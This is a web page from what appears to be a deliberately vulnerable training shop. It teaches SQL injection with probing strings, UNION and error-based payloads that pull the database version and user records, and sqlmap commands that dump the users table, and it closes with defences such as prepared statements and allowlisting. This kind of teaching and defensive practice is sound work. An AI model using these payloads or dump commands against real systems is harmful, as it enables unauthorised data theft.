🛒 sekumartdeals so good it should be illegal
USD EUR GBP 🏴 0/8 🛒 cart (0) login
security level: low medium high impossible

SQL injection: a practical attack & defense guide

A hands-on walkthrough you can follow live against sekumart itself. Every payload below works on this site at security level low — flip the level to impossible and hit view source on any page to see the fix side by side.

1. What is SQL injection?

SQL injection (SQLi) happens when untrusted input is concatenated into a SQL statement, so an attacker can change the structure of the query rather than just supplying data. It is OWASP Top 10 A03:2021 – Injection and remains one of the highest-impact web weaknesses: depending on the database and privileges it can leak every row in the database, bypass authentication, and sometimes read or write files and run commands.

The root cause is always the same — data and code are mixed in the same string:

// vulnerable (this is literally sekumart's /product.php at level "low")
$q = "SELECT id, name, price, description FROM products WHERE id = " . $_GET['id'];

Request ?id=1 and the query ends in WHERE id = 1. Request ?id=1 OR 1=1 and it becomes WHERE id = 1 OR 1=1 — you just changed the logic.

2. Finding an injection point

Probe a parameter with characters that are meaningful in SQL and watch for a change in behaviour (an error, a different result set, or a different response length). Classic first tests:

/product.php?id=1'            → broken quote may raise a SQL error
/product.php?id=1 AND 1=1     → TRUE  → same page as id=1
/product.php?id=1 AND 1=2     → FALSE → "no such product"

If TRUE and FALSE conditions produce reliably different responses, the parameter is injectable. On sekumart you can see this immediately: id=1 AND 1=1 shows the product, id=1 AND 1=2 does not.

3. Injection techniques

How you extract data depends on what the application gives back:

sekumart exposes all the in-band and inferential ones: UNION/error on product pages, and boolean/time blind on order tracking (only "found/not found" leaks there, which is exactly the blind scenario).

4. Injection contexts

The payload changes with where your input lands in the query. Each of these is a live, separate lesson on sekumart:

contextquery shapetry it
NumericWHERE id = [input]/product.php?id=1
String / LIKELIKE '%[input]%'/search.php?q=mug
ORDER BYORDER BY [input] (no quotes; UNION won't help)/catalog.php?sort=name
Boolean/time blindWHERE code='[input]'/track.php?order=SK-1001
POST (login)WHERE uname='[input]'/login.php
CookieWHERE code='[cookie]'the curr currency cookie
JSON bodyWHERE id = [json.id]POST /apiv1.php

5. Manual walkthrough (UNION on the product page)

Goal: read the database version and the users table through /product.php?id=1.

Step 1 — count the columns. Increase ORDER BY until it errors, or test UNION widths. Here the query selects four columns:

/product.php?id=-1 UNION SELECT 1,2,3,4     → page renders; column 2 is shown as the product name

Step 2 — put data in the visible column (a negative id makes the original row empty, so only your UNION row shows):

/product.php?id=-1 UNION SELECT 1,version(),3,4
/product.php?id=-1 UNION SELECT 1,CONCAT(uname,0x3a,email),3,4 FROM users

Step 3 — error-based works too, because sekumart surfaces SQL errors at level low:

/product.php?id=1 AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version())))

The same ideas extract the deliberately-hidden secrets table — that is the first challenge flag.

6. Automating with sqlmap

Manual testing teaches the concepts; sqlmap automates the grind (technique selection, column counts, encoding, WAF evasion, dumping). Point it at sekumart:

# detect + fingerprint
python sqlmap.py -u "https://sekumart.sekuripy.hr/product.php?id=1" --batch --banner

# enumerate and dump
python sqlmap.py -u "https://sekumart.sekuripy.hr/product.php?id=1" --batch --dbs
python sqlmap.py -u "https://sekumart.sekuripy.hr/product.php?id=1" --batch -D shop -T users --dump

# non-URL contexts
python sqlmap.py -u "https://sekumart.sekuripy.hr/" --cookie="curr=USD" -p curr --batch
python sqlmap.py -u "https://sekumart.sekuripy.hr/login.php" --data="username=x&password=x" --batch
python sqlmap.py --openapi "https://sekumart.sekuripy.hr/openapi.json" --batch

7. Defending against SQL injection

You can watch each of these fixes on sekumart by switching the security level to impossible and comparing the source.

7.1 Use parameterized queries (prepared statements) — the primary fix

Never build SQL by string concatenation. Bind parameters so the driver keeps data and code separate:

// PHP / mysqli
$stmt = $db->prepare("SELECT id, name, price FROM products WHERE id = ?");
$stmt->bind_param("i", $_GET['id']);
$stmt->execute();

// PHP / PDO
$stmt = $pdo->prepare("SELECT id, name, price FROM products WHERE id = :id");
$stmt->execute([':id' => $_GET['id']]);

Now id=1 OR 1=1 is treated as the literal string "1 OR 1=1", not as SQL.

Learn more: OWASP Query Parameterization Cheat Sheet · Bobby Tables (per-language) · PHP PDO / mysqli.

7.2 Allowlist things you cannot bind

Identifiers — column and table names, sort direction — cannot be passed as bound parameters. That is why ORDER BY is a common hole. Map user input to a fixed set of known-good values instead of interpolating it:

$columns = ['name' => 'name', 'price' => 'price', 'newest' => 'id'];
$col = $columns[$_GET['sort']] ?? 'id';   // anything unknown falls back safely
$q = "SELECT id, name, price FROM products ORDER BY $col";

Learn more: OWASP Input Validation Cheat Sheet (allow-list section).

7.3 Run with least privilege & harden the database

Contain the blast radius so a bug is not a breach. The application account should hold only the rights it needs — no FILE, no PROCESS, no DDL. sekumart's DB user has no FILE privilege and runs with secure_file_priv set, so even a full injection cannot LOAD_FILE(), write via INTO OUTFILE, or reach --os-shell; single-statement execution rejects stacked queries like ; DROP TABLE. That is what turns a catastrophic bug into a read-only one.

Learn more: OWASP Database Security Cheat Sheet.

7.4 Layer your defenses (defense in depth)

Prepared statements fix the root cause; these layers catch the mistakes and blunt the impact when something slips through. Each links to a resource your team can act on today:

controlwhat to dolearn more
Input validationValidate by type, length, format, and allowlist (an id is a positive integer). A supplement to parameterization, never a replacement for it.OWASP Input Validation
Safe error handlingNever return raw SQL errors — they power error-based extraction and leak your schema. Log server-side, show the user a generic message.OWASP Error Handling
Escaping (last resort)Only when parameterization is genuinely impossible, and only with the DB-correct routine. Easy to get wrong — prefer binds.OWASP SQLi Prevention
Logging & monitoringAlert on SQL-error spikes, UNION-style payloads, and abnormal row counts so exploitation is caught early.OWASP Logging
WAF (buys time, not a fix)A WAF raises the bar but is bypassable (encoding, comments, case). Use it to slow attackers while you fix the code, not instead of fixing it.OWASP WAF
Confine the hostopen_basedir plus an egress-null network, so a foothold cannot read host files or pivot outward (exactly as on this lab).OWASP DB Security

References & further reading (for defenders)

Practise everything above right here, then capture the flags on the scoreboard. This lab is built and maintained by .